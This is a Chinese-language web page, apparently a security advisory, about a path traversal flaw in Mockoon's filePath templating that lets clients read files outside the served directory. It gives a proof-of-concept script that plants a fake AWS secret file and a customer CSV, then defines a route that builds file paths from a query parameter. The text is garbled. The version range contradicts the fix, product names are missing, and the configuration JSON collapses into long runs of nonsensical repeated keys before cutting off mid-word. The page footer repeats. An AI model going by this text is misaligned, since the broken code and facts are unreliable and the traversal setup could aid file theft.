Mockoon filePath 路径遍历漏洞及修复方案

漏洞概述 在 的 模板中存在路径遍历漏洞，允许请求逃逸出服务的目录（仅前缀基础检查）。该漏洞允许未授权客户端读取服务目录之外的文件。 影响范围 受影响版本： 和 版本 = 9.7.0 修复方案 升级到 和 版本 >= 9.7.0 以修复此漏洞。 POC代码 ```bash cat > /tmp/poc.sh public/index.txt echo "AWS_SECRET_ACCESS_KEY=redacted" > /work/public/.work/backup/env echo "Michael, michael@example.com, 555-22-7741" > /work/public/.work/backup/customers.csv cat > /work/env.json << "EOF2" { "uuid": "00000000-0000-0000-0000-000000000001", "lastIteration": 33, "name": "root", "port": 3000, "hostname": "", "folders": [], "routes": [ { "uuid": "11111111-0000-0000-0000-000000000001", "type": "http", "documentation": "", "method": "get", "endpoint": "responses": [ { "uuid": "22222222-0000-0000-0000-000000000001", "body": "", "latency": 0, "statusCode": 200, "label": "", "headers": [], "bodyType": "FILE", "filePath": "/work/public/{queryParam \"name\"}", "differentialBody": true, "rules": [], "rulesOperator": "OR", "disableTemplating": false, "fallbackTo404": false, "default": true, "crudKey": "", "callbacks": [] } ], "responseMode": null, "streamingMode": null, "streamingInterval": 0 }, { "uuid": "33333333-0000-0000-0000-000000000001", "type": "proxy", "documentation": "", "method": "get", "endpoint": "responses": [ { "uuid": "44444444-0000-0000-0000-000000000001", "body": "", "latency": 0, "statusCode": 200, "label": "", "headers": [], "bodyType": "INLINE", "filePath": null, "differentialBody": false, "rules": [], "rulesOperator": "OR", "disableTemplating": false, "fallbackTo404": false, "default": true, "crudKey": "", "callbacks": [] } ], "responseMode": null, "streamingMode": null, "streamingInterval": 0, "proxyPath": "", "proxyHost": "", "proxyPort": 0, "proxyProtocol": "HTTP", "proxyPathRewrite": "", "proxyRemovePrefix": false, "proxyWriteHeaders": false, "proxyKeepHost": false, "proxyEnablePathRewrite": false, "proxyEnableHostRewrite": false, "proxyEnablePortRewrite": false, "proxyEnableProtocolRewrite": false, "proxyEnablePathRewriteRegex": false, "proxyEnableHostRewriteRegex": false, "proxyEnablePortRewriteRegex": false, "proxyEnableProtocolRewriteRegex": false, "proxyEnablePathRewriteRegexSource": "", "proxyEnableHostRewriteRegexSource": "", "proxyEnablePortRewriteRegexSource": "", "proxyEnableProtocolRewriteRegexSource": "", "proxyEnablePathRewriteRegexTarget": "", "proxyEnableHostRewriteRegexTarget": "", "proxyEnablePortRewriteRegexTarget": "", "proxyEnableProtocolRewriteRegexTarget": "", "proxyEnablePathRewriteRegexSourceRegex": false, "proxyEnableHostRewriteRegexSourceRegex": false, "proxyEnablePortRewriteRegexSourceRegex": false, "proxyEnableProtocolRewriteRegexSourceRegex": false, "proxyEnablePathRewriteRegexTargetRegex": false, "proxyEnableHostRewriteRegexTargetRegex": false, "proxyEnablePortRewriteRegexTargetRegex": false, "proxyEnableProtocolRewriteRegexTargetRegex": false, "proxyEnablePathRewriteRegexSourceRegexSource": "", "proxyEnableHostRewriteRegexSourceRegexSource": "", "proxyEnablePortRewriteRegexSourceRegexSource": "", "proxyEnableProtocolRewriteRegexSourceRegexSource": "", "proxyEnablePathRewriteRegexTargetRegexSource": "", "proxyEnableHostRewriteRegexTargetRegexSource": "", "proxyEnablePortRewriteRegexTargetRegexSource": "", "proxyEnableProtocolRewriteRegexTargetRegexSource": "", "proxyEnablePathRewriteRegexSourceRegexTarget": "", "proxyEnableHostRewriteRegexSourceRegexTarget": "", "proxyEnablePortRewriteRegexSourceRegexTarget": "", "proxyEnableProtocolRewriteRegexSourceRegexTarget": "", "proxyEnablePathRewriteRegexTargetRegexTarget": "", "proxyEnableHostRewriteRegexTargetRegexTarget": "", "proxyEnablePortRewriteRegexTargetRegexTarget": "", "proxyEnableProtocolRewriteRegexTargetRegexTarget": "", "proxyEnablePathRewriteRegexSourceRegexTargetRegex": false, "proxyEnableHostRewriteRegexSourceRegexTargetRegex": false, "proxyEnablePortRewriteRegexSourceRegexTargetRegex": false, "proxyEnableProtocolRewriteRegexSourceRegexTargetRegex": false, "proxyEnablePathRewriteRegexTargetRegexTargetRegex": false, "proxyEnableHostRewriteRegexTargetRegexTargetRegex": false, "proxyEnablePortRewriteRegexTargetRegexTargetRegex": false, "proxyEnableProtocolRewriteRegexTargetRegexTargetRegex": false, "proxyEnablePathRewriteRegexSourceRegexTargetRegexSource": "", "proxyEnableHostRewriteRegexSourceRegexTargetRegexSource": "", "proxyEnablePortRewriteRegexSourceRegexTargetRegexSource": "", "proxyEnableProtocolRewriteRegexSourceRegexTargetRegexSource": "", "proxyEnablePathRewriteRegexTargetRegexTargetRegexSource": "", "proxyEnableHostRewriteRegexTargetRegexTargetRegexSource": "", "proxyEnablePortRewriteRegexTargetRegexTargetRegexSource": "", "proxyEnableProtocolRewriteRegexTargetRegexTargetRegexSource": "", "proxyEnablePathRewriteRegexSourceRegexTargetRegexTarget": "", "proxyEnableHostRewriteRegexSourceRegexTargetRegexTarget": "", "proxyEnablePortRewriteRegexSourceRegexTargetRegexTarget": "", "proxyEnableProtocolRewriteRegexSourceRegexTargetRegexTarget": "", "proxyEnablePathRewriteRegexTargetRegexTargetRegexTarget": "", "proxyEnableHostRewriteR

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Mockoon filePath 路径遍历漏洞及修复方案

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Mockoon filePath 路径遍历漏洞及修复方案

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！